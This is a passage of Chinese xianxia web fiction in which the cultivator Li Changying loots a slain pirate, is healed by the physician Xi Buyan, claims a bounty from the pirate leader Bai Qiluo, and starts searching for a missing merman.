默默盯着韩破浪死不瞑目的浑浊眼球,看了半晌,她抿抿唇,一点点挪过去。
反正人都死了,让她搜刮点战利品,不过分吧。
李长缨单膝跪地,开始熟练地搜查。
若问她为何如此熟练,还得从她身为外门弟子讲起——
每回她外出游历杀妖,掏完妖丹,都要把妖兽身上的值钱部位割下来,拿去弟子堂换功绩。毕竟她迟迟不能进境,按照惯例,低阶弟子修为停滞超过三年,就得离开天极宗另寻出路,但若是功绩较高,可以网开一面,延后一年。
谁能想到一年之期未至,她便不幸坠崖,一朝穿到李烟萝身上来了。
想到悲惨的“前世”遭遇,她自己都唏嘘不已。
李长缨晃了晃头,强迫自己将这些乱七八糟的念头驱散,重新把注意力集中在韩破浪身上可能存在的宝贝上。
首先是腰带。
他的腰带处挂着一个蛟龙皮制成的芥子囊,很是厚实。按理说没有本人允许,她是打不开对方的芥子囊的。不过人都死了,芥子囊的禁制自然失效。
解开绳结,她倒出里面的东西。几块灵石,一只传音纸鹤,还有一个小瓷瓶。她拔开瓶塞,还未凑近,一股辛辣之气冲入鼻腔。
她果断盖上。
还是等与奚不言会合后,再作探究。
专业的事得交给专业的人。
韩破浪的外袍内衬缝着一个暗袋,李长缨用匕首划开,摸出一张折叠的信纸。展开后,九只眼睛围绕月亮的图腾跃入眼中。
竟是当初她在韩陆记忆中见到的,那副卷轴的中心部分。
他居然把这个图腾裁下来,随身携带。
看来它意义非常,她必须弄清楚这个图腾是何含义。
李长缨毫不犹豫地把信纸塞进自己的芥子囊中。
当她解开韩破浪的衣领时,一块金属物件从领口滑落,落在地板上,发出清脆的声响。她捡起来,借着摇曳的烛光辨认,那是一块铜牌,正面刻着一个青筋暴起的拳头,下方是翻滚的岩浆纹路,背面则是“撼山令”三个小字。
李长缨的手指猛地收紧。
虽然这三个字组合起来,她未曾见过,但是那个图案,她再熟悉不过。
“炽焰铁拳徽征?”她口中喃喃,手指不住地摩挲着凹凸不平的铜牌。从前天极宗举办宗门大比,她不止一次见过这个图案。
只因它属于八大宗门之一——止戈宗。
难道他是止戈宗的弟子?
止戈宗恰好是以体修为主的宗门,韩破浪虽然用刀,但身体素质远超一般修士,只可能是体修。
一个可怕的猜想浮现在她脑海,莫非韩破浪出身止戈宗,暗中在为其卖命?那这些年的烧杀劫掠……
她赶紧掏出信纸,盯着那个诡异的图腾,思绪瞬间发散。
过招时,韩破浪笃定她不知道“那位”身份,否则不会是这副平淡反应。而他又极大可能是止戈宗的弟子,出身名门正派。所以——
“那位”该不会是止戈宗的某个长老吧?
若真是这样,一切都解释得通了。
止戈宗长老暗地勾结当海寇的弟子,命其找到八位修士以献祭邪阵,这等秘辛如果被旁人知晓,止戈宗往日营造的威势将毁于一旦。
就是不知阴罗宗那群鬼修在其中扮演着什么角色。
呼吸微滞,她将信纸收回袖中,又翻了翻韩破浪的衣物,只找到几块额外的灵石。
把这一切揣在身上装好,她推开房门,浓重的血腥味扑面而来。
李长缨下意识屏住呼吸。
眼前景象宛如人间炼狱,舱门外横七竖八地倒着十几具尸体,扭曲的面容昭示死前的惊恐。船舱中央化作一片血海,长剑随处散落,凝结着暗褐色的血痂。
“……这是谁干的?”她喃喃自语,声音轻得几不可闻。
轻手轻脚跨过狼藉的地板,她的衣摆扫过一具仰面朝天的尸体。右眼被遮盖,赫然是之前在识海中见过的,与韩陆有段过节的那个独眼海寇。
看来韩破浪的手下伤亡惨重。
继续向前,她望见角落蹲着一个人影,肩头耸动着。
背影有些眼熟,她试探喊道:“庄青青?”
人影倏地回眸,见来者是她,眼睛一亮:“李道友!原来你没事!”
庄青青激动地起身,大步上前想握住她手,伸出手才发觉自己满手血污,又缩回袖中,讪讪笑着:“之前有海寇来袭,我们到处都找不到你,还以为你遇上了什么不测,幸好你无碍。”
围着李长缨打量半晌,她补充道:“特别是陶公子,快急坏了。”
李长缨摇摇头,心下好奇:“我无事,你方才在做什么?”
闻言,似是才想起些什么,庄青青连忙回到先前蹲处的位置,那里横着一具海寇尸体。她俯身,五指虚握,指尖泛起莹白微光,拈花般轻轻一引,尸身胸口即刻浮出一团鹅蛋大小的白色灵光。
“倒是比想象中纯净些。”手指轻点,灵光顺着她画出的弧线游走,缓慢渡入丹炉,丹炉中赤红的火焰猛然蹿高,包裹住那团灵光。炉壁上刻着的云纹亮了一瞬,她迅速掐了个诀,炉内响起细微的“噼啪”声。
“看来海寇中也有正经修炼过的,”她擦了擦额角的细汗,终于有功夫朝李长缨解释,“修士的灵力可以滋养丹炉,我看这些海寇反正都死了,不如再发挥一次余热。若是有金丹就好了……”她嘟囔着。
李长缨登时明白过来。
这些海寇修为不高,大多是筑基期,丹田空置,没有稳定吐纳灵力的金丹,但体内会形成一团灵光,暂时代替金丹的作用,只是稳定性会大打折扣。
“其他人呢?都没事吧?”她问道。
周身是尸山血海,目前看来大多是韩破浪那方的人,可万一……
此事毕竟是因她而起,若是造成严重的损失,她过意不去。
庄青青连连摇头:“都没事,梁船长用宝葫芦充当庇护所,把凡人和低阶修士都装了进去,剩余的修士与海寇对上,绰绰有余。”
她顿了顿,低声吐槽:“我也没想到大海寇的手下这般不经打,看来纵使是五大海寇,也没什么可怕嘛。
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”
那是当然,李长缨心道,除了少数追逐富贵险中求的修士,只要修为尚可,名门大派大都会收入门下,谁会想不开来无望海上漂泊,过这种有上顿没下顿的日子?
沉默片刻,她环视四周,搜寻起那个熟悉的身影:“你可知陶公子眼下在何处?”
庄青青茫然道:“我也不知,海寇来袭时便不见他踪影,许是去救治伤者了……船长在仙舟上开辟了一间洞府,作为收治伤者的去处,他或许在那里。”
给李长缨指明了方向,她继续捡拾海寇尸体内残留的灵光。
顺着她指的方向走去,沿途不乏海寇的断肢。李长缨搓了搓手臂,在洞府门口站定,深呼吸几下,推开门。
浓郁的药香扑面而来,一道浅青色身影背对着她,在有条不紊地分发药物,素来纤尘不染的广袖被刮破几道,柔顺的发丝略显凌乱。
她张了张口,却没有发出声音。驻足片刻,她安静地走过去,拍拍他肩。
奚不言猛地回头,看清眼前人后,蓦然起身,一把拉住她手臂,指尖泛白,力道大得让她觉得有几分痛。
“你去哪了……”声音卡在喉咙里,他哑着嗓子说出这几个字。
抬眸望去,隐约可见他眼眶微红,有血丝蔓延。不等李长缨答话,他的手指已本能地贴上她腕脉,丝丝缕缕的灵力渡入,在她经络里探查伤势。
“我没事。”她轻轻按住他微颤的手腕,却摸到一手冰凉。
把脉少顷,奚不言眉头紧锁:“你……服用爆灵丹了?可是遇上了什么事?!”
将她拉至洞府内一个无人的厢房,李长缨这才向他娓娓道来,与韩破浪打斗一事。
“幸好有你给我的那颗爆灵丹,不然这一战还真说不准……”回忆不久前发生的事,她自己都觉得堪称惊险。
“他伤了你左肩和右肋?”奚不言面色骤沉,狠狠闭了闭眼,遮掩住眼中转瞬即逝的杀意。
靠在软枕上,她浑然不觉,微微拉开衣领,向他展示肩上的伤口:“小伤罢了,我已用过几颗你给我的药丹,应是没有大碍。”
伤口已经止血,但裂开的衣衫下,仍能看到翻卷的皮肉,边缘泛着青紫色。
显而易见,韩破浪的刀淬了毒。
“别动。”他的声音比平日低哑,修长的手指挖出一坨药膏,轻轻按在她伤口上,一股凉意顺着肩头蔓延。
“毒已入络,会有些疼,”他手指虚按在她伤口上方,掌心浮现一团青色灵光,“若是受不住,告诉我。”
光芒顺着伤口渗入,李长缨猛地攥紧身下被褥。剧痛中,她恍惚看见他眉心拧出一道浅痕,额角渗出细密的汗珠。
医修施展法术治疗极耗心神,何况他先前一直在为人医治,灵力早已耗去大半。可他的手掌始终稳稳托着她的手肘,将那些肆虐的毒素一点点逼出。
伤口处渐渐渗出黑血,滴落在早已备好的白瓷碗中。待血色转红,他立即取过浸了药汁的纱巾,动作轻柔得似在对待易碎之物。
“好了。”奚不言长舒一口气,紧绷的肩膀松懈下来。烛光下,李长缨看到他雪白内衬已被汗水浸透。
她忽然伸手,用指尖拂去他鬓边将落未落的一颗汗珠。
他的手微微一顿,耳尖泛起薄红。
19. 取舍
似是察觉到二人之间气氛太过旖旎,李长缨猛地收回手,动作幅度过大,撞翻了一旁的瓷瓶。
“我、我看这伤治得差不多了,就先告辞……”她脸颊染上一层绯色,裹紧衣襟匆匆起身。
“且慢,”奚不言温声开口,面色恢复如常,“你右肋不是也被伤了么?”
目光落在她右肋处破损的衣物上,他示意她坐下。
先前还不觉得,现在她细细感受,是有几分疼痛。
李长缨悻悻坐下,举止间牵扯到伤口,疼得她轻轻“嘶”了声。
“别动。”
他的声音很轻,却不容抗拒。手指挑开她被血黏住的衣衫,露出那道狰狞的刀伤。
眉头皱得厉害,他凝起一团淡青色灵光,温柔按在伤口边缘。她下意识绷紧身体,却发觉他灵力温润如春溪,缓慢渗入肌肤,中和着毒素带来的灼痛。
“疼吗?”他问,声音沉了几分。
她摇头,奚不言的动作却放得更轻,指腹沿着伤口边缘缓缓游走。
房内很静,两人的呼吸声交织在一起。
他的气息拂过她颈侧,带着些许热气。李长缨微一侧头,便能看见他低垂的睫毛投下一片阴影,鼻梁的线条干净利落,薄唇紧抿。
“你灵力消耗太多,别勉强。”她低声道。
他没应声,依然专注于给她治伤,指尖偶尔擦过她未受伤的肌肤,触感微凉。毒素渐渐被逼出,伤口迅速愈合,可他的手指仍停留在她肋间,灵力温养着枯竭的经脉。她忽然觉得有些口干,不自觉地动了动身子。
“好了,”奚不言收回手,退开半步,似是满意,轻点了下头,“等它彻底愈合,应当不会留疤。”
李长缨连忙起身,扯了扯皱巴巴的衣衫,才发觉自己左肩和右肋处的布料被刀气割裂,露出雪白的肌肤。她下意识抬手去遮,双颊绯红。
原来她是顶着这副模样走过来的,其间还和庄青青交谈了几句……
耳后慢一拍般烧了起来,她不愿再想。
奚不言倏地别开眼,俯身拾起放在一旁的月白披风。
“披好。”
声音依旧平静,动作却比治疗时僵硬了几分。披风拢住她肩头,指尖不小心擦过她后颈,两人俱是一顿。
李长缨捏住披风边缘,布料宽大,将她整个裹住,领口萦绕着一缕清苦药香,残留着他的温度。
四目相对,她不自在地垂眸,声如蚊蚋:“多谢。”
他正低头整理药瓶,闻言,手指轻蜷,瓶瓶罐罐撞出清脆一响:“……嗯。”
抬脚欲离开,她忽地想到什么,从芥子囊中取出用碎布条包裹的金丹残片。
“我把韩破浪的金丹挖出来了,三仙岛的悬赏墙上,这颗金丹值五千灵石和,外加一盒起死回生丹。”说到最后,她的语气里沾上一丝跃跃欲试。
奚不言看着她,语气冷硬,想也不想断然拒绝:“不可,你可知悬赏他的背后之人是谁?你前脚去领赏,后脚就可能会被狂鲨号余党围杀。”
她眯起眼:“血蛟帮发布的悬赏,想必是玉面罗刹的主意……至于围杀,那就等我杀干净再去领赏,反正他们的头儿都成了我剑下亡魂。”
“胡闹,”他眉头紧锁,声音肃然,“若是此战没有爆灵丹呢?若是韩破浪没有轻敌呢?那变成刀下亡魂的,就是你。”
无言以对。
李长缨咬了咬唇,纠结道:“可是……整整五千灵石,还有起死回生丹,那玩意你知道的吧,有价无市,更别说一整盒了。”
扫了她一眼,他淡淡道:“这种东西,杏林门多得是,你若是需要,我即刻让叶师姐给你寄来。”
“当真?”她瞪大眼睛。
那可是起死回生丹,能活死人、肉白骨的仙丹,杏林门虽贵为医修大派,也不至于豪成这样吧?
李长缨对他话语的真实性表示怀疑。
“自然,”奚不言一脸淡定,“这实际上是我宗掌门绝学,市面上少,只因为杏林门概不外售罢了。”
她把金丹碎片重新收好,一脸沮丧:“……行吧,但是还有五千灵石呢,若是全用来给星澜剑保养,足以将它捧到天阶法器的品质,当真不去换?”
他面不改色:“我每逢出诊,诊金至少一千灵石。你若是缺钱,可以给我说。”
可恶的富人。
她暗暗咬牙,世上富人多她一个又能如何。
但她表面上礼貌婉拒:“这可不行,咱俩现在是医患关系,哪有我找你要钱的道理?”
“为何不可?”
“反正就是不行,”她摆手,提供另一条思路,“不如我去找个信任之人,帮我领赏?”
他呼吸一顿:“你想找谁?”
“梁渊,”李长缨越想越觉得有道理,“他常年往返东西大陆,肯定常和海寇打交道,并且我的实力他也清楚,不必担心他独吞了赏钱。”
奚不言沉默片刻,同意了她的安排。
…………
梁渊佝偻着背,坐在裂开的龙骨旁,身边堆满大大小小各种木板。
经此一战,青龙号损伤重大,光是开裂的地方就高达百余处。
“在海上漂了几十年,怎就今年撞上狂鲨号,我不记得哪回得罪过韩破浪啊……”他嘟囔着,用牙咬断麻绳。
慢慢走过去,李长缨试探道:“船长,青龙号如何了?”
“很不好,”他耷拉着眉,痛心疾首,“若是想完全修好,恐怕要花个一千多灵石,老夫的毕生积蓄哟……”
“那群蝗虫,仗着我没大宗门撑腰,就敢这般欺负人!”他混着唾沫星子怒骂。
她顿时有些过意不去,此事虽不是她主动招惹,但也和她少不了干系。若不是在识海里和韩破浪打了一架,他断不会亲自率手下来青龙号大开杀戒。好在人员伤亡不重,只是本就在与怒涛盟激战中战损的仙舟,又添了不少伤痕。
眉心一蹙,她嘴唇几番张合,低声道:“我这里有韩破浪的金丹,你能替我去领悬赏吗?三七分账。”
低头解开芥子囊,她掏出金丹碎片给他看。
梁渊瞳孔微张,忍不住抬手,粗糙的手指抚过沾有血污的碎片,声音颤抖:“你说这是……谁的金丹?”
他没听错吧?韩破浪的?那个远近闻名的狂鲨号首领韩破浪?
她冷静道:“韩破浪的。”
闻言,他瞪圆了眼,语无伦次:“韩破浪进境了?不不不,就算他进入元婴也不会把金丹剖出来……你从哪来的?”
“我和他打了一架,把他金丹剖了,”李长缨颠了颠碎片,“可惜力道没收住,它碎了。”
话音未落,梁渊呛得猛咳起来,一边拍着胸口,一边打量着她,目光中带着一份审视。
眼前这个女修,他不是没有印象,之前甲板上那个极乐宫弟子闹事,他
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一直在舱房里暗中观察,只要事态闹大,即刻出手干预。没想到她用漂亮的一剑,教训了那个仗势欺人的弟子。是以她的大致修为,他心中有数,大概是才步入金丹的样子。
他口中喃喃:“道友你……韩破浪至少是金丹中期,你就?!”
这几日青龙号上并无修士进境的迹象,他敢确定,眼前女子还是金丹初期的修为,可她居然成功杀了韩破浪?!这要是传出去,怕是没有几个人敢相信。
金丹初期与金丹中期,虽同为金丹,一字之差,差之千里。
每一境界的提升,都是对上个境界的全面碾压,因此越级杀人的事,在修真界基本不会发生。
她不觉得有什么问题,大方承认:“就把他杀了。”
“是他先来招惹我的。”她补了一句。
梁渊猛地后退两步,后背撞上舱壁:“道友修为高深,梁某佩服,失敬失敬。”
浑不在意地摆摆手,她直接道:“我方才说的那个方法,你看可行吗?”
他一愣,转瞬反应过来。
“让我替你领赏的事?”他摸着下巴,“据我所知,韩破浪的金丹至少值五千灵石,你当真舍得?”
“那是自然,我既然来找你,便是诚心想请求你相助,”李长缨颔首,“三七分账,怎么样?”
三七分账,那他到手能拿到一千多灵石,足以把青龙号修缮一番,还能顺便升个级。
掐指算了几息,他爽快道:“成交。”
“不过你可知,悬赏他的人是谁?”他话锋一转。
李长缨沉声:“血蛟帮,我猜是玉面罗刹的意思。”
梁渊若有所思:“玉面罗刹?那好办,她向来只和斩岳门过不去,其他修士去找她,不会出什么岔子。”抬起黑白分明的眼眸,他好奇道:“你当真不亲自去?”
她摇摇头,言简意赅:“我不便现身。”
…………
两日稍纵即逝。
伤痕累累的青龙号缓缓驶入血蛟岛,那里是进入西大陆前途经的最后一个岛屿,也是血蛟帮的驻地。
血蛟岛整体状似一条潜伏在海洋中央的巨蛟,岛屿边缘怪石嶙峋,中央耸立着一座赤霄峰,宛如蛟首高昂。岛上建筑多以黑红二色为主,风格古朴,其中居民多为凡人,少数来追求财富的修士,更因靠近魔域,多是魔修。
甫一进港,梁渊便重金聘来几位岛上器修,请求他们修缮青龙号。而他自己,则揣着李长缨给他的金丹碎片,直奔赤霄峰。
赤霄峰之巅,有一片黑色建筑群,是血蛟帮的驻地。
毕竟请人修缮的钱都是赊的,只等他领完五千灵石的悬赏,才能支付酬金。
李长缨不打算下船,一来是血蛟岛鱼龙混杂,唯恐招惹是非,二来便是她担心有韩破浪的余党在此守株待兔,她没必要冒险迎敌。
和奚不言在船上呆了半个下午,她正悠闲地啃着西瓜,一眼望见梁渊气喘吁吁地回来。
才踏入房门,他就低声道:“玉面罗刹要见你。”
?
她骤然起身,眉心微蹙,带着些许不悦:“不是说好了,不要把我供出来么?”
梁渊无奈地摊了摊手:“我跟她说,‘有人杀了韩破浪,我来替人领赏’。可她不认代领,点明要见到本人才作数。”
擦擦面上冷汗,他后退半步,让开房门。
“李道友,请吧。”
20. 惺惺
海风拂过山崖,李长缨站在血蛟帮驻地外的石阶上,抬头望向那片黑色建筑群,山巅之上,黑瓦飞檐如同蛟龙盘踞。
她伸手摸了摸怀中的金丹碎片,表情凝重。
石阶尽头是两扇黑漆大门,门上雕刻着蛟龙图案。四名守卫身着暗红色短打,腰间配着弯刀。见她走进,最外侧的守卫横跨一步,拦住去路。
“来者何人?”他声音粗犷,警惕地打量着这个外貌普通、身形略显柔弱的女子。
李长缨掏出用布包裹的金丹,举在手里:“来领韩破浪的赏钱。”
守卫们对视一眼,其中一人快步进门通报。
不多时,大门缓缓打开,一个身穿深紫色长袍的中年男子走出来,对她拱手行礼。
“这位道友,在下血蛟帮执事赵无涯,请随我来。”
她微微颔首,随他穿过大门。门内是一片宽阔的广场,地面皆铺有黑色石砖,中央立着个青铜大鼎,燃烧着赤红火焰。数十名帮众正在广场上操练,刀光交错,气势惊人。
“久闻血蛟帮大名,今日看来,果然名不虚传。”她淡淡道。
赵无涯笑了笑:“道友过奖。帮主得知您取了韩破浪性命,特意吩咐要好生招待。”
穿过广场,二人来到一座三层楼阁前,他在门前停下,恭敬道:“帮主在内等候,道友请进。”
李长缨推门而入,室内光线柔和,四壁挂有水墨画,画的皆是蛟龙出海之景。正中央摆着一张黑檀木案几,案后坐着一名女子。
她约莫二十七八岁年纪,一袭红衣似火,黑发如瀑垂至腰间,面容姣好,眉目如画,右臂从肩头至手腕却布满青色纹路。
见李长缨进来,她抬眸一笑。
正是“玉面罗刹”白绮罗,血蛟帮帮主,无望海上实力最强的海寇。
“李道友?”白绮罗声音清冷,带着一丝难以察觉的兴味,“久仰大名。”
她怎么知道我的名字……李长缨骤然警觉,没有答话。
红唇一勾,她慢条斯理道:“不必紧张,之前韩破浪大肆派人搜寻你的踪迹,我的手下碰巧知道了这个消息。”
李长缨这才不卑不亢地拱手:“白帮主。”
白绮罗示意她坐下,亲自斟了一杯茶推过去:“听说你杀了韩破浪?”
从怀中取出布包裹,她放在案几上徐徐展开,几片沾着血污的金丹碎片显露出来:“他的金丹在此。”
凝视着那颗金丹,白绮罗眼中闪过一丝复杂神色。她伸出手,指尖轻轻抚过碎片表面。“好,很好,”她从案下取出一个锦盒推给李长缨,“五千两灵石,外加一盒起死回生丹,都在此。”
李长缨没有立即去接,而是直视着她的眼睛:“白帮主为何重金悬赏韩破浪?据我所知,血蛟帮和狂鲨号素无恩怨。”
白绮罗笑了,托着腮歪头看她:“我和他同为大海寇,怎会没有利益纷争?”
“这个回答,你满意吗?”
对视片刻,李长缨垂眸,收起锦盒,起身欲离开。
“李道友,有时候好奇心太重,不是件好事,”她慢悠悠地叹了口气,“不过……你若是想知道,告诉你也无妨。”
手指点着案几,她望着半空,似是陷入了某段回忆。
“十五年前,韩破浪是我徒弟。”
李长缨微微一愣。
“他天赋极高,却是个无父无母的孤儿,十几岁的年纪还在大街上讨口,我看他可怜,收他为徒,传授他‘化龙刀法’和我帮秘术,”白绮罗眼中闪过一丝痛楚,“谁知他学成后,竟想要毒杀我……”
“为何?”李长缨忍不住问道,“为了夺取你的基业?”
她摇头,面含讽刺:“他是止戈宗弟子,奉命来我帮卧底,伺机铲除这个所谓的‘海寇窝点’……我侥幸逃生,却中了蛊毒。”
“这些蛊纹,便是当时留下的?”李长缨看着她右臂的青色纹路,脱口而出。
白绮罗轻抚手臂,声音转冷:“这些倒不是,那是另一个故事了……”
她话音一转:“我本想杀到止戈宗报仇,没料到他竟然叛逃宗门,藏身无望海,聚众为寇,三年前发迹,一跃成为五大海寇之一。
“既知他近况,我便发布了悬赏。”
李长缨若有所思:“难怪他刀法迅猛,又是体修,原来是血蛟帮绝学。”
白绮罗忽然倾身向前:“我更感兴趣的是,你是怎么杀死他的?韩破浪的‘化龙刀法’已至化境,等闲高手近不得身。”
‘化龙刀法’……莫非是决战时,他刀尖血气凝成的恶蛟?
她端起茶杯抿了一口,斟酌道:“他刀法虽强,却只凭蛮力,我略施小计,侥幸得胜。”
至于小计是什么……别管,反正成功了就行。
白绮罗大笑起来:“好!李道友果然胆识过人,有没有兴趣加入血蛟帮?”
话题转得太生硬,李长缨明显愣怔,半晌才轻声道:“我独来独往惯了。”
“是么?”她眼中精光闪烁,“可我听说,你身边一直有位医修陪伴……似乎姓陶?”
她竟对自己了解得如此之深。
李长缨面色一凛,手下意识按在腰侧,扑了个空。早在入门前,赵无涯便礼貌地拿走了星澜剑,美其名曰“剑不入殿”。
白绮罗一眨不眨地盯着她:“不是做普通帮众。做我客卿,每月一百灵石,任务另算酬劳,来去自由,只需在我需要时出手。这个条件如何?”
莫名地,李长缨想起奚不言说过,他每次出诊,诊金至少一千灵石。
修士与修士间差别真大。
赚钱不易。
她沉默片刻:“为何选我?”
“我需要一个得力的助手,”白绮罗轻抚右臂蛊纹,“血蛟帮表面风光,实则内忧外患,韩破浪虽死,但他的同党仍在暗处,而且……”她顿了顿:“我在追查一样东西,需要你这样的高手相助。”
思忖须臾,她问道:“我听了这些,若是还拒绝你的招揽,怕是不能活着走出这扇门吧?”
白绮罗嫣然一笑:“当然不会,赏金你照样拿,血蛟帮的大门随时为你敞开。”她眼中闪过一丝狡黠:“不过我想,你不会拒绝的吧?”
李长缨望向窗外,夕阳已沉入海平线,最后一缕金光映照在黑色建筑群上。她转回头,嘴角微扬:“抱歉,我有约在身,恕不从命。”
既然答应了奚不言,要做他的病人,她便不会止步于此。
“好罢,”白绮罗遗憾地耸耸肩,举起茶杯,“那便祝李道友,前程似锦?”
两人对饮而尽,李长缨擦擦嘴角,抱着锦盒离去。
顺着来时的黑石台阶向下走去,她能感觉到背后那道目光一直追随着自己,直到拐过山道弯处才消失。
下山的路比上山更陡峭,她脚步
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轻盈,手掌始终按在腰间剑柄上。白绮罗虽以礼相待,但这等海寇帮派驻地,难保不会有人见财起意。
行至半山腰时,四名身着暗红劲装的帮众从道旁树林中闪出,拦住了去路。
“这位道友,帮主命我们护送你下山。”为首之人抱拳道,眼神不住地望她怀中锦盒上瞟。
李长缨面色不变:“不必麻烦各位,这山路我认得。”
“最近不太平,还是让我们——”
“我说,不必了。”她声音陡然转冷,手指稍一握紧,露出一寸寒光。
那几人脸色微变,相互交换眼色后,悻悻让开了道路。她目不斜视地从他们中间穿过,后背绷紧,随时准备应对可能的偷袭。
直到山脚处,再无人阻拦,她才松了口气,掌心已沁出一层薄汗。她并非惧怕这几个喽啰,只是在血蛟帮的地盘上,一旦动手,后果难料。
就是不知这几个想趁火打劫的喽啰,是白绮罗的授意,还是真如她所言,帮内不乏有二心者。
暮色四合,李长缨终于回到靠岸的青龙号上,远远便望见在甲板上焦灼等待的奚不言。
她加快脚步,三两步跃上甲板。
奚不言一把握住她手腕,上下打量着:“没事吧?”
“能有什么事?”她轻笑,从怀中取出锦盒晃了晃,“五千灵石,一盒起死回生丹,一分不少。”
他这才松开手,长舒一口气:“我还以为血蛟帮把你扣下来了。”
李长缨挑眉一笑:“担心我呀?”
不等他回话,她径自走向船舱。
奚不言跟在她身后:“玉面罗刹是个什么样的人?”
她动作一顿,眼前浮现出那个红衣女子的面容:“白绮罗……她告诉我,韩破浪是她徒弟。”
他微微愣神:“难怪悬赏这么高,是在清理门户?”
舱房内竹林秘境已恢复,她坐在软榻上,取出锦盒中的芥子囊,一块一块把灵石往外拿:“白绮罗想让我加入血蛟帮来着。”
他正在点灯的手猛地一抖,灯油撒了几滴在桌面上:“你答应了?”
“你说呢?”李长缨想笑,“我要是答应了,现在还能在这儿?”
灯芯燃起,已进入黑夜的竹林被映照得影影绰绰。奚不言的脸在光影中忽明忽暗,他沉默地擦拭着桌上的油渍,半晌才道:“血蛟帮势力庞大,得罪他们不是明智之举。”
她嗤笑一声:“我婉拒得很体面,白绮罗也没强求。”她顿了顿:“不过……她确实不简单,韩破浪那手刀法是从她那儿学的,她却能容忍这样的叛徒兴风作浪十几年。”
他瞬间明白她的意思:“要么是她实力不够,要么……”
“要么她另有打算,”李长缨接过话头,“我总觉得,她追杀韩破浪不只是为了报仇。”
夜渐深,晚风吹过竹林,发出细微的呜咽。奚不言施了个止风的法诀,回头看见她已和衣躺下,双手交叠放在腹部,这是个保持警惕的睡姿。
她的呼吸很快变得均匀绵长,他轻手轻脚地走过去,吹灭了烛火。
房门外突然传来一阵急促的脚步声。
“李道友!陶公子!出事了!”庄青青的声音隔着门板,透着惊慌。
李长缨猛地睁开眼,起身,一把拉开房门:“出了何事?”
庄青青脸色煞白,上气不接下气:“是苍溟、苍溟不见了。”
21. 迷踪
李长缨怀疑道:“你确定不是他下船溜达去了?或者擅自回归大海了?”
庄青青笃定地摇头:“我方才本想去邀请他,问他要不要去看看血蛟岛上的篝火晚会,谁知……”她声音里透出一丝颤抖:“他的房间全是打斗痕迹,定是被人抓走了。”
“你带我去看看。”她严肃道。
三人一同走向船尾的舱室,那是梁渊定下的安置苍溟的地方。
推开木门的瞬间,浓重的海腥味扑面而来。
李长缨瞳孔微张,狭小的船舱内一片狼藉,床榻被掀翻,木桌四分五裂,桌檐沾着几片黯淡的鳞片,墙上还有几道深深的爪痕,像是某种野兽挣扎时留下的。
鳞片虽失去光泽,她还是一眼看出,它们出自鲛人身上。
整艘仙舟,只有唯一一条鲛人,具体出自哪位,已不言而喻。
缓步走入房间,地板上的水渍还未完全干涸。脚底踩到什么东西,发出清脆声响,她弯腰拾起,是几颗珍珠,泛着淡蓝色的光泽。
“苍溟的眼泪,”奚不言瞥了一眼,俯身,手指抹过地板,“这里还有水迹。”
从床榻到门口,隐约可见一道湿润的痕迹,每隔几步还散落着一颗珍珠。
李长缨蹙眉:“太刻意了,简直像……”
“像故意留下的路标,”他接过话,目光沉沉地扫过房内一切,语气玩味,“想引我们去找他?”
庄青青突然指着墙角:“那里有字!”
在破碎的床板背面,几道歪斜的刻痕组成两个模糊的字迹——
“听澜”。
“听澜镇?”奚不言挑眉,“离这里不到三里的小镇,以打渔为生。”
专门在此处留下线索,似乎在明目张胆地说着,快去那里寻他。
“去吗?”李长缨盯着那两个字,默默评估动身的风险。
庄青青弱弱道:“要不还是去吧?万一他真的出事了呢?”视线移到墙面爪痕处,她一脸担忧:“依我看,这些痕迹也不像鲛人能划出来的,说不定……他真的遇上了凶兽袭击,这些痕迹是最后关头拼尽全力留下的。”
说话间,她已经在脑海中构想了一幅鲛人誓死抵抗凶兽的画面,不由得打了个寒颤。
李长缨颔首:“既然留下痕迹的人如此希望我们去寻他,那便走一遭。”
剑意是通过实战淬炼出来的,她不介意通过这次经历,让她的剑意更凌厉几分。
趁着夜色,三人踏上了通往听澜镇的泥泞小路。
沿途仍断断续续有散落的珍珠,路边芦苇高过人头,在风中沙沙作响,不时有水珠从叶尖滑落。
小路尽头,听澜镇的轮廓逐渐清晰。
那是个依山傍海的小镇,几十间灰瓦房子错落有致地分布在山坡上,暮色四合,归港的渔火星星点点亮起来,海浪撞碎在粗粝石砌成的防波堤上。
码头挤着十几艘渔船,甲板上,渔夫们赤着晒得黢黑的脊背,忙着卸载从大海捕捞回来的海产。竹篓里跳跃的海鱼泛着银色光泽,宽阔的海带质地柔软而富有弹性,个大饱满的蚌壳一张一合吐着泡泡……李长缨远远望着,咽了咽口水。
不行,她来此地是为了寻人。
她摸摸鼻梁,正色道:“珍珠指引到此地就消失了,接下来怎么办?”
身后传来一声轻笑,奚不言走到她身边,意有所指:“想吃吗?”
心虚之色一闪而过,她摇摇头,目光坚定:“我只是在想,那人引我们到此地,是为了什么?”
庄青青凑上前来:“要不我们分头去打听打听?”
三人决定分头行动。
“老伯,向您打听个事儿,”李长缨蹲在一位正在补网的老渔夫身旁,顺手帮他理了理缠在一起的网线,“最近可有人见过鲛人?”
老渔夫手上的梭子一顿,眯起昏黄的眼睛打量她:“姑娘是外乡人吧?鲛人可不好找,特别是这几个月,几乎绝迹,从前偶尔还会见到一条……”
鲛人近日绝迹了?
她目光一凛,此地距离西大陆不算远,和鲛人的栖息地也相距颇近,没道理一条都见不着。
思忖片刻,她试探道:“听说今天有人见到过?”
“哦,你说老林头啊!”他露出恍然大悟的神情,压低声音,“他嗜酒如命,今上午非说网着条会说话的鱼,我看就是他喝多了。”老渔夫摇摇头:“要真逮着鲛人,早发财喽!”
随口一问,没成想真问出来了。虽然他口中说的与她想象中的苍溟出场有点偏差,好在也算条线索。
她不动声色地摸出块碎银:“老林头住哪儿?”
顺着老渔夫指的方向,李长缨来到镇子西头。
她站在歪斜的篱笆外,眯眼打量着眼前这座低矮的渔家小屋。木板墙上晾着几张破旧的渔网,檐下挂着几串干瘪鱼干,伸手拨开挡路的芦苇,她故意让腰间剑鞘撞在篱笆上,发出一声闷响。
屋内传来一阵慌乱的碰撞声,木门“吱呀”开了条缝,露出一只浑浊的眼睛。
“谁、谁呀?”沙哑的声音带着宿醉后的含混不清。
“路过的,讨碗水喝。”李长缨将一枚铜钱从门缝塞进去。
木门稍稍开大些,伸出一只布满老茧的手,迅速捞走铜钱。她借机看清老林头的长相,是个佝偻着背的干瘦老头,警惕地打量着她。
“水缸在院里,自己舀。”他用下巴指指墙角的水缸,退开些许。
跨过门槛,李长缨状似不经意道:“听说这座小镇有人捕到了鲛人?就在今天上午?”
话音未落,老林头突然怒喝道:“胡扯!什么鲛人不鲛人的,传说里的生物而已,你也敢信?”
见他这副反应,她愈发笃定心中猜测。
